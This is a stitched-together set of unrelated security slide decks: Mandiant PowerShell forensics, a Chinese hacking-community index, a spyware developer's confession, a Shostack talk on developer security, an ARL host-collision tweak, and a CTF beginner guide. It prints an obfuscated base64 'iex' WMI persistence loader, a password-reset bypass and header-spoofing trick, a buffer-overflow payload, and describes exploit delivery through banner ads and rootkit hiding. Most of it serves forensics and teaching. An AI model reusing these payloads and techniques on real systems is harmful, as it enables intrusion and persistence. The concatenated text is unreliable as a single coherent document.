Memory Analysis Summary 17 Event Logs © Mandiant, A FireEye Company. All rights reserved. §  Which event logs capture activity? §  Level of logging detail? §  Differences between PowerShell 2.0 and 3.0? Event Logs 19 Scenario: Attacker interacts with target host through local PowerShell script execution or PowerShell remoting © Mandiant, A FireEye Company. All rights reserved. §  Application Logs §  Windows PowerShell.evtx §  Microsoft-Windows- PowerShell/Operational.evtx §  Microsoft-Windows-WinRM/ Operational.evtx §  Analytic Logs §  Microsoft-Windows- PowerShell/Analytic.etl §  Microsoft-Windows-WinRM/ Analytic.etl PowerShell Event Logs 20 © Mandiant, A FireEye Company. All rights reserved. Local PowerShell Execution 21 PowerShell EID 400: Engine state is changed from None to Available. … HostName=ConsoleHost EID 403: Engine state is changed from Available to Stopped. … HostName=ConsoleHost Start & stop times of PowerShell session © Mandiant, A FireEye Company. All rights reserved. Local PowerShell Execution 22 PowerShell Operational** EID 40961: PowerShell console is starting up EID 4100: Error Message = File C: \temp\test.ps1 cannot be loaded because running scripts is disabled on this system ** Events exclusive to PowerShell 3.0 or greater Start time of PowerShell session Error provides path to PowerShell script © Mandiant, A FireEye Company. All rights reserved. Local PowerShell Execution 23 PowerShell Analytic** EID 7937: Command test.ps1 is Started. EID 7937: Command Write-Output is Started. EID 7937: Command dropper.exe is Started ** Log disabled by default. Events exclusive to PowerShell 3.0 or greater Executed cmdlets, scripts, or commands (no arguments) © Mandiant, A FireEye Company. All rights reserved. Remoting 24 PowerShell EID 6: Creating WSMan Session. The connection string is: 192.168.1.1/wsman? PSVersion=2.0 Start of remoting session (client host) PowerShell EID 400: Engine state is changed from None to Available. … HostName=ServerRemoteHost EID 403: Engine state is changed from Available to Stopped. … HostName=ServerRemoteHost Start & stop of remoting session (accessed host) © Mandiant, A FireEye Company. All rights reserved. Remoting (Accessed Host) 25 WinRM Operational EID 81: Processing client request for operation CreateShell EID 169: User CORP\MattH authenticated successfully using NTLM EID 134: Sending response for operation DeleteShell Who connected via remoting Timeframe of remoting activity © Mandiant, A FireEye Company. All rights reserved. Remoting (Accessed Host) 26 PowerShell Analytic EID 32850: Request 7873936. Creating a server remote session. UserName: CORP \JohnD EID 32867: Received remoting fragment […] Payload Length: 752 Payload Data: 0x020000000200010064D64FA51E7C784 18483DC[…] EID 32868: Sent remoting fragment […] Payload Length: 202 Payload Data: 0xEFBBBF3C4F626A2052656649643D22 30223E3[…] Who connected via remoting Encoded contents of remoting I/O © Mandiant, A FireEye Company. All rights reserved. PS Analytic Log: Encoded I/O 27 Invoke-Command {Get-ChildItem C:\} © Mandiant, A FireEye Company. All rights reserved. PS Analytic Log: Decoded Input 28 Invoke-Command {Get-ChildItem C:\} © Mandiant, A FireEye Company. All rights reserved. PS Analytic Log: Decoded Output 29 Invoke-Command {Get-ChildItem C:\} © Mandiant, A FireEye Company. All rights reserved. §  Add code to global profile §  Loads with each local PS session §  Start-Transcript cmdlet §  Overwrite default prompt function §  Limitations §  Will not log remoting activity §  Can launch PowerShell without loading profiles Logging via PowerShell Profiles 30 %windir%\system32\WindowsPowerShell\v1.0\profile.ps1 © Mandiant, A FireEye Company. All rights reserved. §  Set Audit or Enforce script rules §  Captures user, script path Logging via AppLocker 31 © Mandiant, A FireEye Company. All rights reserved. PowerShell 3.0: Module Logging 32 Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Module Logging Solves (almost) all our logging problems! © Mandiant, A FireEye Company. All rights reserved. Module Logging Example: File Listing 33 ParameterBinding(Get-ChildItem): name="Filter"; value="*.txt" ParameterBinding(Get-ChildItem): name="Recurse"; value="True" ParameterBinding(Get-ChildItem): name="Path"; value="c:\temp" ParameterBinding(Select-String): name="Pattern"; value="password" ParameterBinding(Select-String): name="InputObject"; value="creds.txt" ... Command Name = Get-ChildItem User = CORP\MHastings ParameterBinding(Out-Default): name="InputObject"; value="C:\temp\creds.txt:2:password: secret" ParameterBinding(Out-Default): name="InputObject"; value="C:\temp\creds.txt:5:password: test" Microsoft-Windows-PowerShell/Operational (EID 4103) Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password Logged upon command execution Logged upon command output © Mandiant, A FireEye Company. All rights reserved. Module Logging Example: Invoke-Mimikatz 34 Invoke-Mimikatz.ps1 via remoting Detailed “per- command” logging © Mandiant, A FireEye Company. All rights reserved. Module Logging Example: Invoke-Mimikatz 35 Mimikatz output in event log Persistence © Mandiant, A FireEye Company. All rights reserved. §  What are common PowerShell persistence mechanisms? §  How to find them? PowerShell Persistence 37 Scenario: Attacker configures system to load malicious PowerShell code upon startup or user logon © Mandiant, A FireEye Company. All rights reserved. §  Registry “autorun” keys §  Scheduled tasks §  User “startup” folders §  Easy to detect §  Autorun review §  Registry timeline analysis §  File system timeline analysis §  Event log review Common Techniques 38 At1.job At1.job At1.job © Mandiant, A FireEye Company. All rights reserved. Persistence via WMI 39 Set-WmiInstance Namespace: “root\subscription” EventFilter Filter name, event query CommandLineEventConsumer Consumer name, path to powershell.exe FilterToConsumerBinding Filter name, consumer name Set-WmiInstance Set-WmiInstance Use WMI to automatically launch PowerShell upon a common event © Mandiant, A FireEye Company. All rights reserved. §  Query that causes the consumer to trigger Event Filters 40 SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325 Run within minutes of startup SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12 AND TargetInstance.Minute = 00 GROUP WITHIN 60 Run at 12:00 © Mandiant, A FireEye Company. All rights reserved. §  Launch “PowerShell.exe” when triggered by filter §  Where does the evil PS code load from? Event Consumers 41 sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream] [Convert]::FromBase64String('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkE AQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/ z9cZmQBbPbOStrJniGAqsgfP358Hz8ivlsXbb795bpdrdv0o2/nZVml363qcvbR/ xMAAP//'),[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd() Stored in user or system-wide “profile.ps1” Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name='TotallyLegitWMI';CommandLineTemplate="$($Env:SystemRoot) \System32\WindowsPowerShell\v1.0\powershell.exe - NonInteractive";RunInteractively='false'} Added to Consumer Command-Line Arguments (length limit, code must be base64’d) © Mandiant, A FireEye Company. All rights reserved. Enumerating WMI Objects with PowerShell 42 §  Get-WMIObject –Namespace root\Subscription -Class __EventFilter §  Get-WMIObject -Namespace root\Subscription -Class __EventConsumer §  Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding © Mandiant, A FireEye Company. All rights reserved. PS WMI Evidence: File System 43 WBEM repository files changed (common) sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStr eam] [Convert]::FromBase64String('7L0HYBxJliUmL 23Ke39K9UrX4HShCIBgEyTYkEA... Global or per-user “profile.ps1” changed (if used to store code) Strings in “objects.data” © Mandiant, A FireEye Company. All rights reserved. PS WMI Evidence: Registry 44 Key Value Data HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM \ESS\//./root/CIMV2\Win32ClockProvider [N/A] [N/A] Key Last Modified 06/04/14 01:30:03 UTC Created only when setting a time-based WMI filter (many other types of triggers may be used) © Mandiant, A FireEye Company. All rights reserved. §  SysInternals AutoRuns v12 §  Memory: WMI filter & consumer names §  svchost.exe (WinMgmt service) §  WmiPrvse.exe §  Event logs: WMI Trace PS WMI Evidence: Other Sources 45 Conclusions © Mandiant, A FireEye Company. All rights reserved. §  Refer to whitepaper §  Prefetch for “PowerShell.exe” §  Local execution only §  Scripts in Accessed File list §  Registry §  “ExecutionPolicy” setting §  Network traffic analysis (WinRM) §  Port 5985 (HTTP) / port 5986 (HTTPS) §  Payload always encrypted §  Identify anomalous netflows Other Sources of Evidence 47 POWERSHELL.EXE-59FC8F3D.pf © Mandiant, A FireEye Company. All rights reserved. §  Upgrade and enable Module Logging if possible §  Baseline legitimate PowerShell usage §  ExecutionPolicy setting §  Script naming conventions, paths §  Remoting enabled? §  Which users? §  Common source / destination systems §  Recognize artifacts of anomalous usage Lessons Learned 48 © Mandiant, A FireEye Company. All rights reserved. §  Matt Graeber §  Joseph Bialek §  Chris Campbell §  Lee Holmes §  David Wyatt §  David Kennedy §  Josh Kelley §  All the other PowerShell authors, hackers, and researchers! Acknowledgements 49 © Mandiant, A FireEye Company. All rights reserved. [email protected] @ryankaz42 [email protected] @HastingsVT Questions? 50
pdf
zsxq Hacking⾃动化就是好玩的星球相关,星球介绍: https://mp.weixin.qq.com/s?__biz=MzU2NzcwNTY3Mg==&mid =2247484177&idx=1&sn=e394fc7db94d90fd64b2402ba54a4731&chksm=fc986a36cbefe3202b37f8943b11b 98176b14d0f2c139857b5510c2ac49acf2e462d06629799&token=338286590&lang=zh_CN#rd 很多⿊客和安全⼯具的构造是那么巧妙,我看了很多安全⼯具的代码,将它们值得学习的地⽅记录了下来。⼀点点 开发+安全的结合,Hacking⾃动化就是好玩,这个仓库将持续更新星球中的精华⽂章,源码和思路,付费加⼊是我 更新的动⼒。 星球作业整理 第⼀期:Goby指纹和Poc的提取⽅法 (已完结) 题⽬:https://t.zsxq.com/eyfybqv 第⼆期:调⽤goby指纹的识别扫描 (已完结) 题⽬:https://t.zsxq.com/eyfybqv 第三期:兼容社区PoC的通⽤验证⼯具 (进⾏中) 题⽬:https://t.zsxq.com/UF2BMvJ 最新推荐 go-strip 更新啦 v2.0 成品+源码 https://t.zsxq.com/rzvRnEm 通⽤验证码识别库源码,可以识别英数+汉字 https://t.zsxq.com/u7AyFe6 sliver c2相关的原理 https://t.zsxq.com/ny7IIUj hacking8的chrome插件计划(doing) https://t.zsxq.com/nAQvrNr https://t.zsxq.com/nqVNVz3 Go Rat + electron https://t.zsxq.com/JE27iea Windows补丁对⽐⼯具是怎么做的? https://t.zsxq.com/6yv7AEi ssrfmap 原理 https://t.zsxq.com/z7yFIIE ksubdomain 重构记录 信息流的src资产收集 SRC资产数据 ⽤的是ksubdomain https://t.zsxq.com/ZRrnmmy linux rootkit ⼊⻔ https://t.zsxq.com/NFeiM3N dom-based-xss-finder 采⽤AST+js动态hook查找dom-xss的原理 dom-based-xss-finder ⾃动查找dom-xss的原理。dom-based-xss-finder是⼀个chrome插件,采⽤ AST语法解析、js动态hook的⽅式来检测dom-xss,并会给出对应的调⽤堆栈。 https://t.zsxq.com/6YfEAeE XssSnpier原理 XssSnpier,是来⾃3600kee的⼀个检测xss的chrome插件,看了⼀下它的⼤概原理,基于fuzz和基于监 控error报错信息的半⾃动插件。 https://t.zsxq.com/2RbuZ7U dalfox源码学习 在信息流上看到有⼈star这个项⽬,dalfox是⼀个基于golang的xss扫描器,介绍说基于golang/DOM parser。 https://t.zsxq.com/3rZbi2r crawlergo源码的学习 crawlergo源码的学习,以前就想写动态爬⾍了,因为能原⽣⼲很多事情,现在终于可以试试了.准备写 ⼀份更新在知识星球 (⼜开⼀坑) https://t.zsxq.com/JIYNNNR https://t.zsxq.com/JYbuBEQ https://t.zsxq.com/6MNfauz cs上线器源码和相关原理 https://t.zsxq.com/uVnqjyb https://t.zsxq.com/jyfAynI 模仿cs写c2 https://t.zsxq.com/aAmIqVJ ⼀个免杀的框架,它的思想和⼯作流应该是武器化应有的样⼦ https://t.zsxq.com/ieamiYn dll劫持 ⽩加⿊⾃动化改造(done) https://t.zsxq.com/ZRZRbUB https://t.zsxq.com/Ju7aMzf https://t.zsxq.com/EeiieY7 https://t.zsxq.com/Qv3BUny https://t.zsxq.com/NfAaQje https://t.zsxq.com/QZjY76Y https://t.zsxq.com/v3RRrrz https://t.zsxq.com/rNrBA6m 宝塔的研究 https://t.zsxq.com/BU72BEI go-strip 1.0的源码 https://t.zsxq.com/6IurbMR 对NTFS transactions的研究 https://t.zsxq.com/RNVbeim 对SigFlip(将数据隐写到已签名的PE⽂件上)的原理探究 https://t.zsxq.com/EIeqV7y 通⽤的内存微信获取个⼈信息⽅式 通过定位到微信内部的数据结构获取微信个⼈信息,不需要每个版本定位内存偏移 https://t.zsxq.com/QbIy7UZ BIOPASS RAT 源码 https://t.zsxq.com/qR3nmuV xss spoof欺骗模块 https://t.zsxq.com/jmUZVVb
pdf
My Life As A Spyware Developer Why I’m Probably Going to Hell Who  Am  I •  Integrated  Solu2ons  Lead  for  Matrikon Toronto/Chicago – Custom  so=ware  for  Power  Plants – NERC  CIP  for  the  past  year  or  so •  Previously  developed  Pharmacy  systems, online  casinos,  da2ng  websites – And  spyware Who  Was  I? •  Just  a  programmer  with  no  security/spyware background  whatsoever •  Was  broke •  Found  the  job  on  Craigslist •  Hired  as  Product  Designer\Lead  Developer  for a  spyware  company •  5  other  programmers •  Please  don’t  punch  me Features •  Client  Applica2on –  Run  any  applica2on  we  wanted –  Add  links,  icons,  shortcuts –  Change  homepage  search  provider –  Keyword  search  popups  and  hyperlinking –  Check  for  updates  daily •  Server –  Track  installs  and  updates –  Manage  Mul2ple  Campaigns –  Upload  new  versions Polymorphic  Installs •  Random  filenames  and  loca2ons •  Random  file  contents  to  get  by  hash  checks •  While  I  worked  there,  no  malware  protec2on so=ware  was  able  to  remove  it •  Had  started  looking  into  hiding  the  files  in Alternate  Data  Streams Affiliate  Hijacking •  Abusing  affiliate  site  referrals •  If  you  went  to  a  site  in  our  list,  you  got redirected  through  our  affiliate  link •  We  would  get  commission  off  anything purchased •  Hundreds  of  affiliates Kernel  Module •  Probably  called  a  root  kit  now •  Hide  all  the  files  from  the  user •  If  they  were  deleted,  they  would  be immediately  replaced  and  randomized  once more Technology  Used •  Client  Side – Internet  Explorer  Plugin  (Browser  Helper  Object hooks) – Visual  C++  6 •  Server  Side – PHP  Interface – MySQL How  Does  This  Get  Installed? •  My  boss  said  he  would  pay  $10k  to  whoever  found •  Exploits  IE  Flaw •  Our  exploit  required  two  things –  Get  the  file  on  the  computer  and  out  of  protected  IE  zones –  Run  the  file •  I  found  one  that  was  able  to  do  this  using  a  custom  .chm file  and  exploit  in  Windows  Media  Player –  Was  unpatched  un2l  XP  SP2 •  Not  Illegal –  However,  we  covered  our  backs  with  a  custom  installa2on  dialog •  My  boss  never  paid  the  $10k Installa2on •  Standard  IE  6 Installer Installa2on •  Custom  installer •  Bypasses standard  install method •  Legal  disclaimer not  needed,  but just  in  case •  Tricky  to  not install How  Did  We  Deploy  The  Installer •  Put  the  exploit  in  banner  ads •  Websites  don’t  know  what  ads  they  run •  And  we  didn’t  know  which  sites  we  ran  on •  Run  the  ‘campaign’  for  a  while  and  then  open  the IFrame  with  the  exploit •  Only  display  to  a  configurable  frac2on  of  viewers •  Keep  track  of  IP  addresses  and  don’t  show  the IFrame  twice  to  the  same  person What  Happens  When  You  Install  20 Pieces  of  Spyware  at  Once •  Some  will  install  the  .NET  framework •  Your  computer  will  never  be  slower •  They  try  to  uninstall  each  other – Including  installing  AV How  Spyware  Makes  Money •  Guess  how  much  money  our  spyware  made? –  Not  a  dime •  My  boss  made  a  lot  of  money •  How? –  Installing  other  peoples  spyware •  You  can  make  ~10  cents  an  install •  My  boss  would  package  as  much  spyware  as  he could  get  paid  for  (around  20  different  packages) •  We  had  over  12  million  installs Want  To  Be  A  Millionaire? •  You  can! •  The  technical  part  is  easy.  All  the  work  is making  sure  the  other  spyware  companies  pay you •  My  boss  was  convinced  no  laws  were  broken •  All  you  need  is  no  conscience! How  Did  It  All  End? •  Much  like  all  the  internet  companies  I  worked  for,  they stopped  paying  me •  Found  out  the  company  was  founded  at  an  AA  mee2ng •  Went  on  to  work  for  the  person  who  was  paying  my boss •  Quit  a=er  working  80  hours  a  week  for  a  few  months •  Likes  to  be  able  to  sleep  at  night •  This  period  on  my  resume  is  listed  as  contract  work Ques2ons •  Any?
pdf
#BHUSA @BlackHatEvents A Fully Trained Jedi, You Are Not Adam Shostack #BHUSA @BlackHatEvents How Many Jedi? 2 #BHUSA @BlackHatEvents How Many Jedi? 3 #BHUSA @BlackHatEvents We talk a lot about Jedi 4 #BHUSA @BlackHatEvents It’s a Bad Goal Expectations of heroism drive burnout Not everyone wants to be torn from their family as a child… … Forced to live without attachments Even if they did, many people just don’t qualify 5 #BHUSA @BlackHatEvents … Murdered by Sith Isn’t Good 6 #BHUSA @BlackHatEvents A Fully Trained Jedi, You Are Not Adam Shostack #BHUSA @BlackHatEvents About Adam Shostack 8 #BHUSA @BlackHatEvents Agenda • The problem starts with software • “Shifting left” isn’t working • Reasonable Expectations • Bloom • Chunking • Frames 9 #BHUSA @BlackHatEvents We’ve known for a while … — Firewalls and Internet Security (Cheswick and Bellovin, 1994) 10 #BHUSA @BlackHatEvents Where do security issues come from? Developers 11 #BHUSA @BlackHatEvents Where do security issues come from? Software engineers 12 #BHUSA @BlackHatEvents Developers introduce many problems • Code with security bugs + flaws • Missing security features • Unusable security features 13 #BHUSA @BlackHatEvents Software Application security Operational security Dev Production 14 #BHUSA @BlackHatEvents Software Application security Operational security Dev Prod bugs Firehose of CVEs 15 #BHUSA @BlackHatEvents Software Application security Operational security Dev Prod bugs Pen Test Fuzzing Static analysis XDR SIEM Vuln Scan Reverse engineering “Shift Security Left” Firewalls! 16 Language improvements Firehose of CVEs #BHUSA @BlackHatEvents Software Application security Operational security Dev Prod bugs Pen Test Fuzzing Static analysis XDR SIEM Vuln Scan Reverse engineering “Shift Security Left” Firewalls! 17 Firehose of CVEs Language improvements #BHUSA @BlackHatEvents “Shift Left” • Build security in • Changes to how we/they design, develop, deploy • Requires new skills • Less pen testing • More software engineering • Growing popularity Image: Klogix18 #BHUSA @BlackHatEvents Shifting Left? 19 #BHUSA @BlackHatEvents Shift left implies: Change the development process • Demands clear responsibilities • What exactly is changing? • Deliverables • Tasks • Skills • Risk: Are we doing this to please appsec? 20 #BHUSA @BlackHatEvents Clarify Who delivers what to whom? How? 21 #BHUSA @BlackHatEvents One tool - Bloom’s Taxonomy • Fundamental tool in learning • Goals + evaluations 22 #BHUSA @BlackHatEvents Bloom’s Taxonomy: remember • Recall facts and basic concepts • Define, duplicate, list, repeat • “Remember data sent over a network can be read by anyone” 23 #BHUSA @BlackHatEvents Bloom’s Taxonomy: Evaluate • Justify a stand or decision • Argue, defend, judge, select, critique, weigh • Does encryption protect against that threat? 24 #BHUSA @BlackHatEvents Tools help us use Bloom to define skills + knowledge The Helpful Hundred – Planning for Instruction Smaldino, Lowther, and Russell (2008) suggest 100 verbs that highlight performance. Each of these verbs is observable and measurable, making them work quite well i writing objectives for learning. This is not to say that these 100 verbs are the only ones are can be used effectively; however, they provide a great reference. add compute drill label predict state alphabetize conduct estimate locate prepare subtract analyze construct evaluate make present suggest apply contrast explain manipulate produce swing arrange convert extrapolate match pronounce tabulate assemble correct fit measure read throw attend cut generate modify reconstruct time bisect deduce graph multiply reduce translate build defend grasp name remove type cave define grind operate revise underline categorize demonstrate hit order select verbalize choose derive hold organize sketch verify classify describe identify outline ski weave color design illustrate pack solve weigh compare designate indicate paint sort write complete diagram install plot specify compose distinguish kick position square Source: Smaldino, S. E., Lowther, D. L., & Russell, J. D. (2008). Instructional Media and Technologies for Learning (9th ed). Upper Saddle River, NJ: Pearson. Bloom Question Stems Remembering • Make a story map showing the main events. • Make a time line of your typical day. • Make a concept map of the topic. • Write a list of keywords you know about…. • What characters were in the story? • Make a chart showing… • Make an acrostic poem about… • Recite a poem you have learned. Questions for Remembering • What happened after...? • How many...? • What is...? • Who was it that...? • Name the ...? • Find the definition of… • Describe what happened after… • Who spoke to...? 25 • This slide’s learning goal: remember there are lots of tools to help #BHUSA @BlackHatEvents What security work do we ask of different people? Developer Champ Appsec Pen test Speaker 26 #BHUSA @BlackHatEvents But instead…we teach like this? 27 #BHUSA @BlackHatEvents 28 #BHUSA @BlackHatEvents Criteria + constraints • Align to job, aspirations • Within reasonable training time • Goals • Help people find, follow paved roads • Recognize danger signs Developer Champ What fits here? 29 #BHUSA @BlackHatEvents 30 #BHUSA @BlackHatEvents Criteria + constraints • Align to job, aspirations • Within reasonable training time • Goals • Help people find, follow paved roads • Recognize danger signs Developer Champ What fits here? 31 #BHUSA @BlackHatEvents Chunking is crucial • Our brains are really, really good at pattern recognition • Dealing with information in “chunks” • Short term memory is 7 +/- 2 chunks • 1,1,2,3,5,8,13,34,55… • If we don’t define the chunks, our students will • (They may anyway!) 32 #BHUSA @BlackHatEvents Categories and frames • Exploit techniques? • Threat actors? • Compliance? • Cyberwar? • Top ten? • Threats? 33 #BHUSA @BlackHatEvents “What can go wrong” focuses our attention on threats #BHUSA @BlackHatEvents “What can go wrong?” is a powerful framing question • Everyone has an answer — if you ask and encourage • Across industries, technical skill, execs • Variants • “What keeps you up at night?” • “How would you attack this” • Lots of fast, cheap, good approaches 35 #BHUSA @BlackHatEvents “What can go wrong” is an umbrella • Open ended is easier to answer, but answers vary a lot • Structures • Finance execs … ORX • Security … OWASP top ten • FDA …. inability to update • Compliance… see my Threat Modeling Compliance (BHAsia ’21) • Flaws, not just bugs 36 #BHUSA @BlackHatEvents What’s the single best toolset? • 4 ways of doing something that’s a side task? • I have to analyze, compare, evaluate? • Those are expert tasks! • So people need experts to offer specific advice 37 #BHUSA @BlackHatEvents Single best tool need: Personal finance example • Max out your tax advantaged, matched accounts… 38 50?!?!! • Target date funds #BHUSA @BlackHatEvents What’s the target date fund of security knowledge? 39 What fits here? #BHUSA @BlackHatEvents What does every engineer need to know? • The question’s catalyzed by a couple of projects • Fast, Cheap + Good: An Unusual Tradeoff (whitepaper) • Threats: What Every Engineer Should Learn from Star Wars • All of which started with a simple question… Whitepaper available now Shostack.org/whitepapers/ | Book: Wiley, Feb, 2023 40 #BHUSA @BlackHatEvents A simple question Is every flaw unique? 41 #BHUSA @BlackHatEvents Another simple question Do flaws cluster? What do we need to know to find them? 42 #BHUSA @BlackHatEvents Where are the flaws? (1) 43 #BHUSA @BlackHatEvents Where are the flaws? (2) 44 #BHUSA @BlackHatEvents Maybe they’re lightweight? 45 #BHUSA @BlackHatEvents If lightweight flaws are common, we should transform how we work with engineers #BHUSA @BlackHatEvents What developers need to know: My proposal • STRIDE threats • (Spoofing, Tampering, Repudiation, Info disclose, DoS, Expansion of Authority) • Parsing + predictability generate danger • Kill chains bring these together 48 #BHUSA @BlackHatEvents What developers need to know (Samples) • Remember that … • Spoofing must be addressed differently for each of • [machines, people] authenticating to [machines, people] • …Spoofing programs is easy unless the platform prevents it 50 #BHUSA @BlackHatEvents Recap • Code issues underly many (most?) security issues • Shifting left is an admirable goal • Only works when we’re clear about change 51 #BHUSA @BlackHatEvents Rebellions are built on hope • Normal levels of security are defined • Developers able to build more secure systems • Less rework, fewer escalations, more predictable delivery 52 #BHUSA @BlackHatEvents Call to action 1. Define expectations: What developers know about threats 2. Help people meet them: Training, assessment 3. Measure impact 53 #BHUSA @BlackHatEvents Thank you! #BHUSA @BlackHatEvents Questions? Now, Swapcard (virtual event platform) or [email protected]
pdf
对灯塔ARL进⾏⼀些定制-host碰撞  0x00 前⾔  看了⼀下灯塔ARL整体感觉还不错,该有的基本功能都有界⾯也不错,只不过⼀些细节上不符合我 的预期,这两天⼤概浏览了⼀下整体的代码功能,拎出⼏个点来先进⾏⼀波优化。 0x01 host碰撞原先设计  ARL确实带有host碰撞功能,在任务创建⾥ 我们跟⼀下host碰撞的实现,直接搜host碰撞 接着搜这个findvhost 进⼊这个find_vhost 可以看到在app->services->findVhost.py⾥,但是看起来并不是我们要的那种修改host字段后进⾏ 爆破的代码逻辑,所以接着看看这个find_vhost在哪⾥被调⽤ 这⼀块有好⼏个findvhost相关的函数,圈红圈的进去看看 这⾥可以看到,通过查库找出私有ip对应的域名,具体代码应该在别的地⽅,⼤概猜猜是差不多: 1. 前置域名爆破获取到包含私有ip地址解析的域名存⼊进库 2. 这⾥通过find_private_domain_by_task_id查库找出私有ip对应的⼆级域名放⼊待爆破的host碰 撞域名 3. 在通过find_public_ip_by_task_id查找出对应扫描任务获取到的公⽹ip 4. 把这两个放⼀起通过find_vhost函数进⾏爆破,如果爆破出存在则返回结果 也就是说,这⾥的host碰撞是基于前期⼦域名搜集时是否获取到解析到私有地址的域名来进⾏的。 这确实是⼀个⽅⾯,但是我这边还希望增加另⼀个功能:给定⼀个关键字列表,爆破是否存在该关 键词对应的内部域名,⽐如grafana.guahao.com绑定到⼀个公⽹ip进⾏爆破是否存在内部 grafana。 0x02 增加列表爆破  ⼤概明⽩前⾯的过程后,其实我们只需要增加⼀个本地字典读取然后⼀起加到前⾯的域名列表⾥去 就⾏了,修改部分代码就够了。 先整理⼀下思路: 1. 获取到任务内所有已经有的域名,包括根域名和⼦域名 2. 在根域名和⼦域名前加上字典列表后形成⼀个新的域名 3. 新域名传⼊后续进⾏host碰撞 那么现在还有个问题就是如何获取根域名和⼦域名列表,这⾥出于速度来考虑可以先实现根域名后 续再考虑把⼦域名也带上。 如果我们只需要考虑根⽬录上的爆破的话,那么就这样就⾏了。 好了,我们加了⼀段⾃⼰定义的host列表的碰撞需求,这样保存⼀下接着跑就⾏了。 0x03 总结  其实是⼀个⽐较简单的需求修改,但是这个修改可能会帮助我们找到更多的漏洞,基本上这样修改 后就能覆盖掉所有我认为需要host爆破的场景,形成⾃动发觉⾃动碰撞了。
pdf
CTF Beginner, How to Start from 0 skybullet 從這場演講會聽到什麼 • 關於我們 • 什麼是 CTF • CTF 題型介紹 • 給 CTF 初學者的建議 關於我們 chalz - 北科資工 - web developer 我們是誰 ku - 清大物理 - 大阪大學 - IoT 韌體工程師 skybullet - HITCON 2015 - 桌遊店 - 2015 年 10 月 ∼ 比賽經驗 D-CTF Qualification 2015 ( rank 198 / 993 ) HITCON 2015 ( rank 63 / 969 ) 9447 Security Society CTF 2015 ( rank 216 / 1148 ) 什麼是 CTF︖ – wikipedia Capture the Flag (CTF) is a computer security competition. CTF contests are usually designed to serve as an educational exercise to give participants experience in securing a machine, as well as conducting and reacting to the sort of attacks found in the real world. 常見的 CTF 題目類型 - web - crypto - exploit - reverse - misc web 介紹 • 給你一個網站︐然後你要︓ 1. 取得 管理者 admin 權限 2. 題目說明 • 瞭解網站功能的同時︐去思考可以進行嘗試攻擊 的切入點︐找到有問題的點很重要。 • Web 的題目︐通常是由很多方法去組合。 Nick's been eating your grandmother's strombomi. Head over to 
 http://nicklesndimes-wq3mhu8l. 9447.plumbing. 
 Gain access to his admin account. 9447 CTF
 nicklesndimes (200pts) nicklesndimes 解題方式 辦一個帳號 → 忘記密碼 → 收信 http://nicklesndimes-wq3mhu8l.9447.plumbing/ reset_password?action=choose_password
 &auth_key=06ce8054b60acc44eea7937aca0ebdf3
 &id=441 auth_key : 看起來像 md5
 id : 註冊者的 ID 觀察參數 嘗試看看 md5("lalalala123")L
 =L06ce8054b60acc44eea7937aca0ebdf3 http://nicklesndimes-wq3mhu8l.9447.plumbing/ reset_password?action=choose_password
 &auth_key=06ce8054b60acc44eea7937aca0ebdf3
 &id=441 重置 admin 密碼 md5("admin")L
 =L21232f297a57a5a743894a0e4a801fc3 http://nicklesndimes-wq3mhu8l.9447.plumbing/ reset_password?action=choose_password
 &auth_key=21232f297a57a5a743894a0e4a801fc3
 &id=1 登入還需要 email 藏在 Users 標題旁的 json 裡面 嘗試登入 登入失敗︐IP被擋了 如果他是用 $_SERVER['HTTP_X_FORWARDED_FOR'] HTTP_X_FORWARDED_FOR ping Server PINGLnicklesndimes-wq3mhu8l.9447.plumbingL(104.28.13.28)L
 56LbytesLofLdata.L 64LbytesLfromL104.28.13.28:Licmp_seq=1Lttl=128Ltime=10.7Lms 將 X-Forwarded-For 設成跟 Server IP一樣 再登入一次 Capture The Flag crypto 介紹 • 加密法 - 對稱加密︓classical, DES, 3-DES, AES - 非對稱加密︓RSA, Diffie-Hellman, elliptic curve • 簡單的講︐就給你一串字串︐想辦法知道其中含意 • 解題步驟 - 找出題目的加密演算法 - 破解 crypto D-CTF - No Crypto (Crypto 200) No Crypto (Crypto 200) Pass: sup3r31337. Don’t loose it! Pass: notAs3cre7. Don’t loose it! Block Cipher Pass: sup3r31337 . Don't loose it ! AES-128 CBC Mode 128 Bit = 16 Byte︐分成三塊 B1 B2 B3 CBC Mode 根據 CBC 的解密方式︐修改 IV 並不影響 B1 後面的 解密結果︐而 B1 可以藉由 IV 被偷改 解題方式 "Pass:Lsup3r31337"LxorLOLD-IVL=LD(B1,Lkey)L D(B1,Lkey)LxorL"Pass:LnotAs3cre7"L=LNEW-IVL NEW-IVL=L19a9d10c3b15464f9c585543cef10bce D(B1,Lkey)LxorLOLD-IVL=L"Pass:Lsup3r31337"L D(B1,Lkey)LxorLNEW-IVL=L"Pass:LnotAs3cre7" exploit 介紹 • pwn 取得 root • 題目說明 exploit D-CTF 2016 - password-encrypting-tool-100 exploit objdumpL-dL./e100 ...
 804851b:L leaLLLL-0x2c(%ebp),%eax
 804851e:L movLLLL%eax,(%esp)
 8048521:L callLLL80483a0L<gets@plt>
 8048526:L cmplLLL$0xbadb0169,0x8(%ebp)
 ... Buffer Overflow AAAA ebpL-L0x2c "A"L*L40 AAAA ebpL-L0x28 ebp ebpL+L0x4 AAAA 0xbadb0169 ebpL+L0x8 ebpL-L0x4 "A"L *L 52 gets()
 LebpL-L0x2cL cmplL$0xbadb0169,0x8(%ebp) 解題方式 pythonL-cL
 'printL"A"*52L+L"\x69\x01\xdb\xba"'
 >Linput.txt Capture the Flag 嘗試一下 $LcatLinput.txtL|L./e100
 DCTF{3671bacdb5ea5bc26982df7da6de196e}
